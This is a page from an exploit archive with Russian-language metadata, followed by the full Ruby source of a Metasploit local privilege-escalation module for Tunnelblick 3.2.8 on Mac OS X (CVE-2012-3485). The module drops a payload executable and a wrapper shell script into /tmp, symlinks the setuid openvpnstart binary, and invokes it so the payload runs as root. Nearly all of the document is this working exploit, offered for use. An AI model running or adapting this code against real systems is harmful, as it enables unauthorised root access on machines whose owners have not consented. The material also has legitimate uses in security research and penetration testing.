Tunnelblick Privilege Escalation Exploit

Свойства

Дата публикации:
07.03.2013
Цель:
Tunnelblick 3.2.8
Тип воздействия:
Повышение привилегий

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local
    Rank = ExcellentRanking

    include Msf::Exploit::EXE
    include Msf::Post::File
    include Msf::Post::Common

    def initialize(info={})
        super( update_info( info, {
                'Name'           => 'Setuid Tunnelblick Privilege Escalation',
                'Description'    => %q{
                        This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The
                    vulnerability exists in the setuid openvpnstart, where an insufficient
                    validation of path names allows execution of arbitrary shell scripts as root.
                    This module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099
                    over Mac OS X 10.7.5.
                },
                'References'     =>
                    [
                        [ 'CVE', '2012-3485' ],
                        [ 'EDB', '20443' ],
                        [ 'URL', 'http://blog.zx2c4.com/791' ]
                    ],
                'License'        => MSF_LICENSE,
                'Author'         =>
                    [
                        'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
                        'juan vazquez'        # Metasploit module
                    ],
                'DisclosureDate' => 'Aug 11 2012',
                'Platform'       => 'osx',
                'Arch'           => [ ARCH_X86, ARCH_X64 ],
                'SessionTypes'   => [ 'shell' ],
                'Targets'        =>
                    [
                        [ 'Tunnelblick 3.2.8 / Mac OS X x86',    { 'Arch' => ARCH_X86 } ],
                        [ 'Tunnelblick 3.2.8 / Mac OS X x64',    { 'Arch' => ARCH_X64 } ]
                    ],
                'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
                'DefaultTarget' => 0
            }))
        register_options([
                # These are not OptPath becuase it's a *remote* path
                OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
                OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ])
            ], self.class)
    end

    def check
        if not file?(datastore["Tunnelblick"])
            print_error "openvpnstart not found"
            return CheckCode::Safe
        end

        check = session.shell_command_token("find  #{datastore["Tunnelblick"]} -type f -user root -perm -4000")

        if check =~ /openvpnstart/
            return CheckCode::Vulnerable
        end

        return CheckCode::Safe
    end

    def clean
        file_rm(@link)
        cmd_exec("rm -rf #{datastore["WritableDir"]}/openvpn")
    end

    def exploit

        print_status("Creating directory...")
        cmd_exec "mkdir -p #{datastore["WritableDir"]}/openvpn/openvpn-0"

        exe_name = rand_text_alpha(8)
        @exe_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/#{exe_name}"
        print_status("Dropping executable #{@exe_file}")
        write_file(@exe_file, generate_payload_exe)
        cmd_exec "chmod +x #{@exe_file}"


        evil_sh =<<-EOF
#!/bin/sh
#{@exe_file}
        EOF

        @sh_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/openvpn"
        print_status("Dropping shell script #{@sh_file}...")
        write_file(@sh_file, evil_sh)
        cmd_exec "chmod +x #{@sh_file}"

        link_name = rand_text_alpha(8)
        @link = "#{datastore["WritableDir"]}/#{link_name}"
        print_status("Creating symlink #{@link}...")
        cmd_exec "ln -s -f -v #{datastore["Tunnelblick"]} #{@link}"

        print_status("Running...")
        begin
            cmd_exec "#{@link} OpenVPNInfo 0"
        rescue
            print_error("Failed. Cleaning files #{@link} and the #{datastore["WritableDir"]}/openvpn directory")
            clean
            return
        end
        print_warning("Remember to clean files: #{@link} and the #{datastore["WritableDir"]}/openvpn directory")
    end
end


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